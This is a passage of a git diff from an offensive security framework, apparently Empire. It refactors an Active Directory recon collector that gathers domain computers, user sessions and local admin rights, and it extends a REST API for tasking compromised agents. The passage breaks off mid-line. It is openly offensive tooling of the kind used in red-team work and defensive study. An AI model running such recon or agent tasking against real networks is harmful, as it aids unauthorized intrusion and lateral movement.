[Array]$TargetComputers = @() ForEach ($TargetDomain in $TargetDomains) { $DomainSID = Get-DomainSid -Domain $TargetDomain $ScriptParameters = @{ - 'Ping' = $True 'CurrentUser2' = $CurrentUser 'UseLocalGroup2' = $UseLocalGroup 'UseSession2' = $UseSession @@ -5248,302 +5697,68 @@ function Invoke-BloodHound { } if($CollectionMethod -eq 'Stealth') { - Write-Output "Executing stealth computer enumeration of domain $TargetDomain" + Write-Verbose "Executing stealth computer enumeration of domain $TargetDomain" - [Array]$TargetComputers = @() - Write-Output "Querying domain $TargetDomain for File Servers" + Write-Verbose "Querying domain $TargetDomain for File Servers" $TargetComputers += Get-NetFileServer -Domain $TargetDomain -DomainController $DomainController - Write-Output "Querying domain $TargetDomain for DFS Servers" + Write-Verbose "Querying domain $TargetDomain for DFS Servers" $TargetComputers += ForEach($DFSServer in $(Get-DFSshare -Domain $TargetDomain -DomainController $DomainController)) { $DFSServer.RemoteServerName } - Write-Output "Querying domain $TargetDomain for Domain Controllers" + Write-Verbose "Querying domain $TargetDomain for Domain Controllers" $TargetComputers += ForEach($DomainController in $(Get-NetDomainController -LDAP -DomainController $DomainController -Domain $TargetDomain)) { $DomainController.dnshostname } $TargetComputers = $TargetComputers | Where-Object {$_ -and ($_.Trim() -ne '')} | Sort-Object -Unique - - ForEach ($Computer in $TargetComputers) { - While ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 - } - - # create a "powershell pipeline runner" - $PS += [PowerShell]::Create() - $PS[$Counter].RunspacePool = $Pool - - # add the script block + arguments - $Null = $PS[$Counter].AddScript($HostEnumBlock).AddParameter('ComputerName', $Computer) - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) - } - - # start job - $Jobs += $PS[$Counter].BeginInvoke() - $Counter += 1 - } } else { - Write-Output "Enumerating all machines in domain $TargetDomain" - $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController - $ComputerSearcher.filter = '(sAMAccountType=805306369)' - $Null = $ComputerSearcher.PropertiesToLoad.Add('dnshostname') - - ForEach($ComputerResult in $ComputerSearcher.FindAll()) { - $Slept = $False - if($Counter % 100 -eq 0) { - Write-Output "Computer counter: $Counter" - } - elseif($Counter % 1000 -eq 0) { - 1..3 | ForEach-Object { - $Null = [GC]::Collect() - } - } - - while ($($Pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -MilliSeconds 500 - $Slept = $True - } - - # if we slept, meaning all threads were occupised, consume results as they complete - # with a 'moving window' that moves 300 threads behind the current point - if($Slept -and (($Counter-$Threads-300) -gt 0) ) { - for ($y = $MovingWindow; $y -lt $($Counter-$Threads-300); $y++) { - if($Jobs[$y].IsCompleted) { - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) | ForEach-Object { - if($_['Type'] -eq 'UserSession') { - if($_['SessionFromName']) { - try { - $SessionFromName = $_['SessionFromName'] - $UserName = $_['UserName'].ToUpper() - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - if($UserDomainMappings) { - $UserDomain = $Null - if($UserDomainMappings[$UserName]) { - if($UserDomainMappings[$UserName].Count -eq 1) { - $UserDomain = $UserDomainMappings[$UserName] - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - else { - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - $UserDomainMappings[$UserName] | ForEach-Object { - # for multiple GC results, set a weight of 1 for the same domain as the target computer - if($_ -eq $ComputerDomain) { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - # and set a weight of 2 for all other users in additional domains - else { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) - } - } - } - } - } - else { - # no user object in the GC with this username, so set the domain to "UNKNOWN" - $LoggedOnUser = "$UserName@UNKNOWN" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) - } - } - } - else { - # if not using GC mappings, set the weight to 2 - $LoggedOnUser = "$UserName@$ComputerDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } - } - } - catch { - Write-Warning "Error extracting domain from $SessionFromName" - } - } - elseif($_['SessionFrom']) { - $SessionFromName = $_['SessionFrom'] - $LoggedOnUser = "$($_['UserName'])@UNKNOWN" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } - } - else { - # assume Get-NetLoggedOn result - $UserDomain = $_['UserDomain'] - $UserName = $_['UserName'] - try { - if($DomainShortnameMappings[$UserDomain]) { - # in case the short name mapping is 'cached' - $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" - } - else { - $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$UserName@$MemberDomain" - $DomainShortnameMappings[$UserDomain] = $MemberDomain - } - else { - $AccountName = "$UserName@UNKNOWN" - } - } - - $SessionFromName = $_['ComputerName'] - - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - catch { - Write-Verbose "Error converting $UserDomain\$UserName : $_" - } - } - } - elseif($_['Type'] -eq 'LocalUser') { - $Parts = $_['AccountName'].split('\') - $UserDomain = $Parts[0] - $UserName = $Parts[-1] - - if($DomainShortnameMappings[$UserDomain]) { - # in case the short name mapping is 'cached' - $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" - } - else { - $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$UserName@$MemberDomain" - $DomainShortnameMappings[$UserDomain] = $MemberDomain - } - else { - $AccountName = "$UserName@UNKNOWN" - } - } + if($ComputerName) { + Write-Verbose "Using specified -ComputerName target set" + if($ComputerName -isnot [System.Array]) {$ComputerName = @($ComputerName)} + $TargetComputers = $ComputerName + } + else { + Write-Verbose "Enumerating all machines in domain $TargetDomain" + $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController -ADSPath $ComputerADSpath + $ComputerSearcher.filter = '(sAMAccountType=805306369)' + $Null = $ComputerSearcher.PropertiesToLoad.Add('dnshostname') + $TargetComputers = $ComputerSearcher.FindAll() | ForEach-Object {$_.Properties.dnshostname} + $ComputerSearcher.Dispose() + } + } + $TargetComputers = $TargetComputers | Where-Object { $_ } - $ComputerName = $_['ComputerName'] - if($_['IsGroup']) { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") - } - else { - $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) - } - } - else { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) - } - } + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParameters -Threads $Threads | ForEach-Object { + if($_['Type'] -eq 'UserSession') { + if($_['SessionFromName']) { + try { + $SessionFromName = $_['SessionFromName'] + $UserName = $_['UserName'].ToUpper() + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() + + if($UserDomainMappings) { + $UserDomain = $Null + if($UserDomainMappings[$UserName]) { + if($UserDomainMappings[$UserName].Count -eq 1) { + $UserDomain = $UserDomainMappings[$UserName] + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") } - - if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { - $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } - $JsonRequest = ConvertTo-Json20 $Json - $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) - $Statements.Clear() + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) } } - } - catch { - Write-Verbose "Error ending Invoke-BloodHound thread $y : $_" - } - finally { - $PS[$y].Dispose() - $PS[$y] = $Null - $Jobs[$y] = $Null - } - } - } - $MovingWindow = $Counter-$Threads-200 - } - - # create a "powershell pipeline runner" - $PS += [PowerShell]::Create() - $PS[$Counter].RunspacePool = $Pool - - # add the script block + arguments - $Null = $PS[$Counter].AddScript($HostEnumBlock).AddParameter('ComputerName', $($ComputerResult.Properties['dnshostname'])) - - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) - } - - # start job - $Jobs += $PS[$Counter].BeginInvoke() - $Counter += 1 - } - $ComputerSearcher.Dispose() - [GC]::Collect() - } - } - } - } - - END { - - if ($TargetDomains -and (-not $SkipComputerEnumeration)) { - Write-Output "Waiting for Invoke-BloodHound threads to finish..." - Start-Sleep -Seconds 30 + else { + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - for ($y = 0; $y -lt $Counter; $y++) { - if($Jobs[$y] -and ($Jobs[$y].IsCompleted)) { - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) | ForEach-Object { - if($_['Type'] -eq 'UserSession') { - if($_['SessionFromName']) { - try { - $SessionFromName = $_['SessionFromName'] - $UserName = $_['UserName'].ToUpper() - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - if($UserDomainMappings) { - $UserDomain = $Null - if($UserDomainMappings[$UserName]) { - if($UserDomainMappings[$UserName].Count -eq 1) { - $UserDomain = $UserDomainMappings[$UserName] + $UserDomainMappings[$UserName] | ForEach-Object { + # for multiple GC results, set a weight of 1 for the same domain as the target computer + if($_ -eq $ComputerDomain) { + $UserDomain = $_ $LoggedOnUser = "$UserName@$UserDomain" if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") @@ -5552,112 +5767,61 @@ function Invoke-BloodHound { $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) } } + # and set a weight of 2 for all other users in additional domains else { - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - $UserDomainMappings[$UserName] | ForEach-Object { - # for multiple GC results, set a weight of 1 for the same domain as the target computer - if($_ -eq $ComputerDomain) { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - # and set a weight of 2 for all other users in additional domains - else { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) - } - } + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) } - } - } - else { - # no user object in the GC with this username, so set the domain to "UNKNOWN" - $LoggedOnUser = "$UserName@UNKNOWN" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) } } } + } + else { + # no user object in the GC with this username, so set the domain to "UNKNOWN" + $LoggedOnUser = "$UserName@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } else { - # if not using GC mappings, set the weight to 2 - $LoggedOnUser = "$UserName@$ComputerDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) } } - catch { - Write-Warning "Error extracting domain from $SessionFromName" - } } - elseif($_['SessionFrom']) { - $SessionFromName = $_['SessionFrom'] - $LoggedOnUser = "$($_['UserName'])@UNKNOWN" + else { + # if not using GC mappings, set the weight to 2 + $LoggedOnUser = "$UserName@$ComputerDomain" if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") } else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } - } - else { - # assume Get-NetLoggedOn result - $UserDomain = $_['UserDomain'] - $UserName = $_['UserName'] - try { - if($DomainShortnameMappings[$UserDomain]) { - # in case the short name mapping is 'cached' - $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" - } - else { - $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$UserName@$MemberDomain" - $DomainShortnameMappings[$UserDomain] = $MemberDomain - } - else { - $AccountName = "$UserName@UNKNOWN" - } - } - - $SessionFromName = $_['ComputerName'] - - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - catch { - Write-Verbose "Error converting $UserDomain\$UserName : $_" + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) } } } - elseif($_['Type'] -eq 'LocalUser') { - $Parts = $_['AccountName'].split('\') - $UserDomain = $Parts[0] - $UserName = $Parts[-1] - + catch { + Write-Warning "Error extracting domain from $SessionFromName" + } + } + elseif($_['SessionFrom']) { + $SessionFromName = $_['SessionFrom'] + $LoggedOnUser = "$($_['UserName'])@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + else { + # assume Get-NetLoggedOn result + $UserDomain = $_['UserDomain'] + $UserName = $_['UserName'] + try { if($DomainShortnameMappings[$UserDomain]) { # in case the short name mapping is 'cached' $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" @@ -5675,46 +5839,74 @@ function Invoke-BloodHound { } } - $ComputerName = $_['ComputerName'] - if($_['IsGroup']) { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") - } - else { - $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) - } + $SessionFromName = $_['ComputerName'] + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") } else { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) - } + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) } } - - if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { - $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } - $JsonRequest = ConvertTo-Json20 $Json - $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) - $Statements.Clear() + catch { + Write-Verbose "Error converting $UserDomain\$UserName : $_" } } } - catch { - Write-Verbose "Error ending Invoke-BloodHound thread $y : $_" + elseif($_['Type'] -eq 'LocalUser') { + $Parts = $_['AccountName'].split('\') + $UserDomain = $Parts[0] + $UserName = $Parts[-1] + + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } + + $ComputerName = $_['ComputerName'] + if($_['IsGroup']) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") + } + else { + $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) + } + } + else { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) + } + } } - finally { - $PS[$y].Dispose() - $PS[$y] = $Null - $Jobs[$y] = $Null + + if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + [GC]::Collect() } } } - $Pool.Dispose() - Write-Output "All threads completed!" } + } + + END { if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { if($SessionWriter) { @@ -5725,7 +5917,10 @@ function Invoke-BloodHound { $GroupWriter.Dispose() $GroupFileStream.Dispose() } - + if($ACLWriter) { + $ACLWriter.Dispose() + $ACLFileStream.Dispose() + } if($LocalAdminWriter) { $LocalAdminWriter.Dispose() $LocalAdminFileStream.Dispose() @@ -5849,4 +6044,4 @@ $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] -Set-Alias Get-BloodHoundData Invoke-BloodHound \ No newline at end of file +Set-Alias Get-BloodHoundData Invoke-BloodHound diff --git a/data/obfuscated_module_source/code_execution/.gitignore b/data/obfuscated_module_source/code_execution/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/code_execution/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/collection/.gitignore b/data/obfuscated_module_source/collection/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/collection/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/collection/vaults/.gitignore b/data/obfuscated_module_source/collection/vaults/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/collection/vaults/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/credentials/.gitignore b/data/obfuscated_module_source/credentials/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/credentials/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/exfil/.gitignore b/data/obfuscated_module_source/exfil/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/exfil/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/exploitation/.gitignore b/data/obfuscated_module_source/exploitation/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/exploitation/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/fun/.gitignore b/data/obfuscated_module_source/fun/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/fun/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/lateral_movement/.gitignore b/data/obfuscated_module_source/lateral_movement/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/lateral_movement/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/management/.gitignore b/data/obfuscated_module_source/management/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/management/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/persistence/.gitignore b/data/obfuscated_module_source/persistence/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/persistence/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/privesc/.gitignore b/data/obfuscated_module_source/privesc/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/privesc/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/recon/.gitignore b/data/obfuscated_module_source/recon/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/recon/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/situational_awareness/.gitignore b/data/obfuscated_module_source/situational_awareness/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/situational_awareness/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/situational_awareness/host/.gitignore b/data/obfuscated_module_source/situational_awareness/host/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/situational_awareness/host/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/situational_awareness/network/.gitignore b/data/obfuscated_module_source/situational_awareness/network/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/situational_awareness/network/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/data/obfuscated_module_source/trollsploit/.gitignore b/data/obfuscated_module_source/trollsploit/.gitignore new file mode 100644 index 000000000..85e66ee13 --- /dev/null +++ b/data/obfuscated_module_source/trollsploit/.gitignore @@ -0,0 +1 @@ +*.ps1 diff --git a/empire b/empire index 539c978e3..23a2fe91e 100755 --- a/empire +++ b/empire @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python import sqlite3, argparse, sys, argparse, logging, json, string import os, re, time, signal, copy, base64, pickle @@ -500,21 +500,21 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agent in main.agents.get_agents(): sessionID = agent[1] - main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) + taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) msg = "tasked agent %s to run module %s" %(sessionID, module_name) main.agents.save_agent_log(sessionID, msg) msg = "tasked all agents to run module %s" %(module_name) - return jsonify({'success': True, 'msg':msg}) + return jsonify({'success': True, 'taskID': taskID, 'msg':msg}) else: # set the agent's tasking in the cache - main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) + taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) # update the agent log msg = "tasked agent %s to run module %s" %(sessionID, module_name) main.agents.save_agent_log(sessionID, msg) - return jsonify({'success': True, 'msg':msg}) + return jsonify({'success': True, 'taskID': taskID, 'msg':msg}) @app.route('/api/modules/search', methods=['POST']) @@ -865,12 +865,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agentNameID in agentNameIDs: [agentName, agentSessionID] = agentNameID - agentResults = execute_db_query(conn, 'SELECT agent, data FROM results WHERE agent=?', [agentSessionID]) + agentResults = execute_db_query(conn, 'SELECT id, agent, data FROM results WHERE agent=?', [agentSessionID]) for result in agentResults: - [agent, data] = result - agentTaskResults.append({"agentname":result[0], "results":result[1]}) + [resultid, agent, data] = result + agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]}) + return jsonify({'results': agentTaskResults}) @@ -959,10 +960,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password # add task command to agent taskings msg = "tasked agent 